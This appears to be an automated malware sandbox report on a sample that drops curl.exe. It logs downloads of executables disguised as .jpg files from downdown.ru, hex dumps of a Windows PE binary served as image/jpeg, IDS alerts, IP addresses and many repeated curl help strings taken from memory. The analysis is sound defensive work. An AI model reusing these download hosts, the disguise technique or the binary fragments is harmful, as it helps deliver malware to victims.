00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 14:53:48 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 14:22:40 GMTETag: "cb190-628362a1aac00"Accept-Ranges: bytesContent-Length: 831888Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 0c 00 00 04 00 00 7c 20 0d 00 02 00 00 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c cd 08 00 54 01 00 00 00 b0 0a 00 1c b6 01 00 00 00 00 00 00 00 00 00 f8 a1 0c 00 98 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 40 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 00 08 00 00 10 00 00 00 02 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5c d9 00 00 00 20 08 00 00 da 00 00 00 06 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a5 01 00 00 00 09 00 00 68 00 00 00 e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 1c b6 01 00 00 b0 0a 00 00 b8 01 00 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

IP Address: 92.223.88.41 92.223.88.41

Source: Joe Sandbox View

JA3 fingerprint: c91bde19008eefabce276152ccd51457

Source: Network traffic

Suricata IDS: 2008754 - Severity 1 - ET MALWARE Possible Rar'd Malware sent when remote host claims to send an Image : 185.125.51.5:80 -> 192.168.2.7:49801

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Intel\curl.exe

Code function: 52_2_00933D70 recv,WSAGetLastError,

52_2_00933D70

Source: global traffic	HTTP traffic detected: GET /driver.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /blat.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /svchost.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /Trays.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /wol.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /dc.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /bat.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /

Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000034.00000000.1401190486.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000034.00000000.1401190486.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000035.00000002.1428972729.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000035.00000002.1428972729.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000035.00000000.1416973366.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000035.00000000.1416973366.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000036.00000002.1478309436.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000036.00000002.1478309436.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000036.00000000.1430094705.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000036.00000000.1430094705.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000037.00000000.1479597319.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000037.00000000.1479597319.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000037.00000002.1501084790.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000037.00000002.1501084790.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account 